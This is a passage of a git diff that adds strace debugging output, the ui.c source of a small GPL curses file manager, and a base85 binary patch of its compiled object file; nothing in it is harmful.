SA_RESTART}, NULL, 8) = 0 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +write(1, "\33[24d", 5) = 5 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +read(0, 0xbf82f4eb, 1) = ? ERESTARTSYS (To be restarted) +--- SIGWINCH (Window changed) @ 0 (0) --- +sigreturn() = ? (mask now []) +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +write(1, "\33[24;1H\33[?12l\33[?25h", 19) = 19 +write(1, "\33[?1049l\r\33[?1l\33>", 16) = 16 +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1h\33=", 7) = 7 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +ioctl(2, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbf82f328) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1049h\33[1;24r\33[?25l", 21) = 21 +write(1, "\33(B\33[m\33[4l\33[?7h\33[H\33[2J\33(B\33[0;1;7"..., 485) = 485 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +write(1, "\33[24d", 5) = 5 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +write(1, "\33[24;1H\33[?12l\33[?25h", 19) = 19 +write(1, "\33[?1049l\r\33[?1l\33>", 16) = 16 +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1h\33=", 7) = 7 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +ioctl(2, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbf82f328) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1049h\33[1;24r\33[?25l", 21) = 21 +write(1, "\33(B\33[m\33[4l\33[?7h\33[H\33[2J\33(B\33[0;1;7"..., 485) = 485 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +brk(0x9ea4000) = 0x9ea4000 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +write(1, "\33[24d", 5) = 5 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +read(0, 0xbf82f4eb, 1) = ? ERESTARTSYS (To be restarted) +--- SIGWINCH (Window changed) @ 0 (0) --- +sigreturn() = ? (mask now []) +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +write(1, "\33[24;1H\33[?12l\33[?25h", 19) = 19 +write(1, "\33[?1049l\r\33[?1l\33>", 16) = 16 +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1h\33=", 7) = 7 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +ioctl(2, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbf82f328) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1049h\33[1;24r\33[?25l", 21) = 21 +write(1, "\33(B\33[m\33[4l\33[?7h\33[H\33[2J\33(B\33[0;1;7"..., 485) = 485 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +write(1, "\33[24d", 5) = 5 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +write(1, "\33[24;1H\33[?12l\33[?25h", 19) = 19 +write(1, "\33[?1049l\r\33[?1l\33>", 16) = 16 +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1h\33=", 7) = 7 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +ioctl(2, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbf82f328) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1049h\33[1;24r\33[?25l", 21) = 21 +write(1, "\33(B\33[m\33[4l\33[?7h\33[H\33[2J\33(B\33[0;1;7"..., 485) = 485 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +write(1, "\33[24d", 5) = 5 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +read(0, 0xbf82f4eb, 1) = ? ERESTARTSYS (To be restarted) +--- SIGWINCH (Window changed) @ 0 (0) --- +sigreturn() = ? (mask now []) +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +write(1, "\33[24;1H\33[?12l\33[?25h", 19) = 19 +write(1, "\33[?1049l\r\33[?1l\33>", 16) = 16 +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1h\33=", 7) = 7 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +ioctl(2, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbf82f328) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1049h\33[1;24r\33[?25l", 21) = 21 +write(1, "\33(B\33[m\33[4l\33[?7h\33[H\33[2J\33(B\33[0;1;7"..., 485) = 485 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +brk(0x9ec5000) = 0x9ec5000 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +write(1, "\33[24d", 5) = 5 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +write(1, "\33[24;1H\33[?12l\33[?25h", 19) = 19 +write(1, "\33[?1049l\r\33[?1l\33>", 16) = 16 +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1h\33=", 7) = 7 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +ioctl(2, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbf82f328) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1049h\33[1;24r\33[?25l", 21) = 21 +write(1, "\33(B\33[m\33[4l\33[?7h\33[H\33[2J\33(B\33[0;1;7"..., 485) = 485 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +write(1, "\33[24d", 5) = 5 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +read(0, 0xbf82f4eb, 1) = ? ERESTARTSYS (To be restarted) +--- SIGWINCH (Window changed) @ 0 (0) --- +sigreturn() = ? (mask now []) +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +write(1, "\33[24;1H\33[?12l\33[?25h", 19) = 19 +write(1, "\33[?1049l\r\33[?1l\33>", 16) = 16 +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1h\33=", 7) = 7 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +ioctl(2, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbf82f328) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1049h\33[1;24r\33[?25l", 21) = 21 +write(1, "\33(B\33[m\33[4l\33[?7h\33[H\33[2J\33(B\33[0;1;7"..., 485) = 485 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +write(1, "\33[24d", 5) = 5 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +write(1, "\33[24;1H\33[?12l\33[?25h", 19) = 19 +write(1, "\33[?1049l\r\33[?1l\33>", 16) = 16 +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1h\33=", 7) = 7 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +ioctl(2, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbf82f328) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1049h\33[1;24r\33[?25l", 21) = 21 +write(1, "\33(B\33[m\33[4l\33[?7h\33[H\33[2J\33(B\33[0;1;7"..., 485) = 485 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +brk(0x9ee6000) = 0x9ee6000 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +write(1, "\33[24d", 5) = 5 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +read(0, diff --git a/bash/bbs/utils/fm/fm-1.0/ui.c b/bash/bbs/utils/fm/fm-1.0/ui.c new file mode 100644 index 0000000..8586414 --- /dev/null +++ b/bash/bbs/utils/fm/fm-1.0/ui.c @@ -0,0 +1,367 @@ +/* Copyright (C) 2008 Ricardo Catalinas Jiménez + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +#include "fm.h" + +WINDOW *tree_window, *info_window; +GList *lines, *selected_line, *first_line, *last_line; + +void init_lines(void) +{ + lines = g_list_append(lines, tree_root); + FILE(tree_root)->line = lines; + selected_line = lines; + first_line = lines; + update_last_line(); +} + +void init_curses(void) +{ + int screen_size[2]; + + initscr(); + cbreak(); + nonl(); + noecho(); + keypad(stdscr, TRUE); + curs_set(0); + refresh(); + + getmaxyx(stdscr, screen_size[0], screen_size[1]); + tree_window = newwin(screen_size[0] - 1, screen_size[1], 0, 0); + info_window = newwin(1, screen_size[1], screen_size[0] - 1, 0); + scrollok(tree_window, TRUE); + idlok(tree_window, TRUE); +} + +void init_ui(char *name) +{ + init_curses(); + init_tree(name); + init_lines(); + print_line(FILE(tree_root)->line); + open_directory(tree_root); + refresh_screen(); +} + +void refresh_screen(void) +{ + wnoutrefresh(tree_window); + wnoutrefresh(info_window); + doupdate(); +} + +void handle_sigwinch(int signal_number) +{ + ungetch(KEY_RESIZE); +} + +void print_lines(GList *start_line, GList *end_line, gboolean clear_bottom_lines) +{ + GList *line_ptr; + int line_number; + + if (end_line == NULL) + end_line = last_line; + else if (start_line != NULL) { + for (line_ptr = start_line; + g_list_position(first_line, line_ptr) < getmaxy(tree_window); + line_ptr = g_list_next(line_ptr)) { + print_line(line_ptr); + if (line_ptr == end_line) + break; + } + } + line_number = g_list_position(first_line, last_line) + 1; + if (clear_bottom_lines && line_number < getmaxy(tree_window)) { + wmove(tree_window, line_number, 0); + wclrtobot(tree_window); + } +} + +void print_parents_lines(GList *line) +{ + GNode *file_ptr; + int depth; + + for (file_ptr = NODE(line)->parent, depth = g_node_depth(file_ptr) - 1; + !G_NODE_IS_ROOT(file_ptr); file_ptr = file_ptr->parent, depth--) { + if (file_ptr != g_node_last_sibling(file_ptr)) + mvwaddch(tree_window, g_list_position(first_line, line), + 2 * depth - 2, ACS_VLINE); + else + mvwaddch(tree_window, g_list_position(first_line, line), + 2 * depth - 2, ' '); + mvwaddch(tree_window, g_list_position(first_line, line), 2 * depth - 1, ' '); + } +} + +void print_line(GList *line) +{ + int line_number = g_list_position(first_line, line); + GNode *file = NODE(line); + int depth = g_node_depth(file) - 1; + char *link_str; + + wmove(tree_window, line_number, 0); + wclrtoeol(tree_window); + + if (line == selected_line) + wattron(tree_window, A_REVERSE); + + if (G_NODE_IS_ROOT(file)) { + wattron(tree_window, A_BOLD); + waddnstr(tree_window, FILE(file)->name, getmaxx(tree_window) - 1); + if (!g_str_has_suffix(FILE(file)->name, "/")) + waddch(tree_window, '/'); + wattroff(tree_window, A_BOLD); + } else { + if (file != g_node_last_sibling(file)) + mvwaddch(tree_window, line_number, 2 * depth - 2, ACS_LTEE); + else + mvwaddch(tree_window, line_number, 2 * depth - 2, ACS_LLCORNER); + + waddch(tree_window, ACS_HLINE); + if (FILE(file)->link == TRUE) { + link_str = g_strdup_printf("%s -> %s", FILE(file)->name, + FILE(file)->link_path); + waddnstr(tree_window, link_str, getmaxx(tree_window) - 2 * depth - 1); + free(link_str); + } else + waddnstr(tree_window, FILE(file)->name, + getmaxx(tree_window) - 2 * depth - 1); + + if (FILE(file)->type == directory_type && ((FILE(file)->link == TRUE && + !g_str_has_suffix(FILE(file)->link_path, "/")) || + (FILE(file)->link == FALSE && + !g_str_has_suffix(FILE(file)->name, "/")))) + waddch(tree_window, '/'); + print_parents_lines(line); + } + wattroff(tree_window, A_REVERSE); +} + +void clear_info(void) +{ + werase(info_window); +} + +void print_info(char *message, gboolean bold) +{ + static char *last_message = NULL; + static gboolean last_bold = FALSE; + + if (message != NULL) { + if (last_message != NULL) + free(last_message); + last_message = strdup(message); + } + if (bold == TRUE || bold == FALSE) + last_bold = bold; + if (last_bold == TRUE) + wattron(info_window, A_BOLD); + werase(info_window); + if (last_message != NULL) + waddnstr(info_window, last_message, getmaxx(info_window)); + wattroff(info_window, A_BOLD); +} + +void print_error_info(int last_errno, char *file, int line, char *message) +{ + char *message_format = "Error (%s:%i): %s"; + char *message_str; + + if (message != NULL) + message_str = g_strdup_printf(message_format, file, line, message); + else + message_str = g_strdup_printf(message_format, file, line, strerror(last_errno)); + print_info(message_str, TRUE); + free(message_str); +} + +void update_last_line(void) +{ + if (g_list_length(first_line) > getmaxy(tree_window)) + last_line = g_list_nth(first_line, getmaxy(tree_window) - 1); + else + last_line = g_list_last(lines); +} + +void add_directory_content(GNode *directory) +{ + GNode *file_ptr, *directory_sibling; + int position; + + directory_sibling = get_next_file_not_deepper(directory); + + for (position = g_list_position(lines, FILE(directory)->line) + 1, + file_ptr = g_node_first_child(directory); + file_ptr != NULL && file_ptr != directory_sibling; + position++, file_ptr = get_next_file(file_ptr)) { + lines = g_list_insert(lines, file_ptr, position); + FILE(file_ptr)->line = g_list_nth(lines, position); + } +} + +void open_directory(GNode *directory) +{ + if (FILE(directory)->read == FALSE && read_directory(directory) == FALSE) + return; + + FILE(directory)->open = TRUE; + add_directory_content(directory); + update_last_line(); + print_lines(g_list_next(FILE(directory)->line), last_line, TRUE); +} + +void close_directory(GNode *directory) +{ + GNode *directory_sibling; + GList *line_ptr; + + directory_sibling = get_next_file_not_deepper(directory); + + for (line_ptr = g_list_next(FILE(directory)->line); line_ptr != NULL && + NODE(line_ptr) != directory_sibling; line_ptr = g_list_next(FILE(directory)->line)) + lines = g_list_delete_link(lines, line_ptr); + + FILE(directory)->open = FALSE; + update_last_line(); + print_lines(g_list_next(FILE(directory)->line), last_line, TRUE); +} + +void update_directory(GNode *directory) +{ + close_directory(directory); + destroy_directory_content(directory); + open_directory(directory); + + if (FILE(directory)->show_dotfiles == TRUE) + show_dotfiles(directory); +} + +void show_dotfiles(GNode *directory) +{ + add_dotfiles(directory); + update_last_line(); + print_lines(g_list_next(FILE(directory)->line), last_line, TRUE); +} + +void hide_dotfiles(GNode *directory) +{ + remove_dotfiles(directory); + update_last_line(); + print_lines(g_list_next(FILE(directory)->line), last_line, TRUE); +} + +void select_line(GList *line) +{ + select_nth_line(g_list_position(lines, line) - g_list_position(lines, selected_line)); +} + +void select_file(GNode *file) +{ + select_line(FILE(file)->line); +} + +void select_nth_line(int n_lines) +{ + GList *old_selected_line; + int min_n_lines, max_n_lines; + + if ((max_n_lines = g_list_length(selected_line) - 1) < n_lines) + n_lines = max_n_lines; + else if((min_n_lines = (int) g_list_length(selected_line) - + (int) g_list_length(lines)) > n_lines) + n_lines = min_n_lines; + + old_selected_line = selected_line; + if (n_lines < 0) + selected_line = g_list_nth(lines, g_list_position(lines, selected_line) + n_lines); + else if (n_lines > 0) + selected_line = g_list_nth(selected_line, n_lines); + + if (g_list_position(lines, selected_line) < g_list_position(lines, first_line)) + scroll_tree(g_list_position(lines, selected_line) - + g_list_position(lines, first_line)); + else if (g_list_position(lines, selected_line) > g_list_position(lines, last_line)) + scroll_tree(g_list_position(lines, selected_line) - + g_list_position(lines, last_line)); + + if (n_lines != 0) { + print_line(selected_line); + if (g_list_position(lines, first_line) <= g_list_position(lines, old_selected_line) && + g_list_position(lines, old_selected_line) <= + g_list_position(lines, last_line)) + print_line(old_selected_line); + } +} + +void scroll_tree(int n_lines) +{ + int min_n_lines, max_n_lines; + + if ((min_n_lines = -g_list_position(lines, first_line)) > n_lines) + n_lines = min_n_lines; + else if ((max_n_lines = g_list_length(last_line) - 1) < n_lines) + n_lines = max_n_lines; + + wscrl(tree_window, n_lines); + if (n_lines < 0) { + first_line = g_list_nth(lines, g_list_position(lines, first_line) + n_lines); + update_last_line(); + print_lines(first_line, g_list_nth(first_line, -n_lines), FALSE); + } else if (n_lines > 0) { + first_line = g_list_nth(first_line, n_lines); + update_last_line(); + print_lines(g_list_nth(lines, g_list_position(lines, last_line) - n_lines), + last_line, TRUE); + } +} + +void select_line_inside_window(void) +{ + if (g_list_position(lines, selected_line) < g_list_position(lines, first_line)) + select_line(first_line); + else if (g_list_position(lines, selected_line) > g_list_position(lines, last_line)) + select_line(last_line); +} + +void select_next_line_by_first_letter(char letter) +{ + GList *line_ptr; + + for (line_ptr = g_list_next(selected_line); line_ptr != NULL; + line_ptr = g_list_next(line_ptr)) { + if (FILE(NODE(line_ptr))->name[0] == letter) { + select_line(line_ptr); + return; + } + } +} + +void select_previous_line_by_first_letter(char letter) +{ + GList *line_ptr; + + for (line_ptr = g_list_previous(selected_line); line_ptr != NULL; + line_ptr = g_list_previous(line_ptr)) { + if (FILE(NODE(line_ptr))->name[0] == letter) { + select_line(line_ptr); + return; + } + } +} diff --git a/bash/bbs/utils/fm/fm-1.0/ui.o b/bash/bbs/utils/fm/fm-1.0/ui.o new file mode 100644 index 0000000000000000000000000000000000000000..81f091cdd2357352f50a68366da720c739e6f615 GIT binary patch literal 9536 zcmb_h4|G)JmH#Fg<7lW8BZ5|xC+ z!<_QY>$KTDwRN{Wt<-hhwrjh`qwQ*~ga(Y*c8{{%6-)nQ_pqxe)XK6IT5z+!-}mmD zdGiulJ*V%S$$h_j?|1Ka|9pQQ?C4l|TObfn?h{b8s)CdXUFb*_XfjLHtB|Xz={oDb z?!D*k!m&AaXULk?{MMPVu`#RTh+S*9_ghPwgS)9^1s#FCp&`U4h&U|6kh4OG*H^ZzZ2L$FvLJgFMLGg zOh<#A580iQitn0N><)ro95h32bk+hV8;?^^I33v1V_(jpcr|;f{M#4nu?Ni-&3+EK z9fPHF!+Vz374`bp7c%0ALNdGqdw&tWG54ly$6g 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 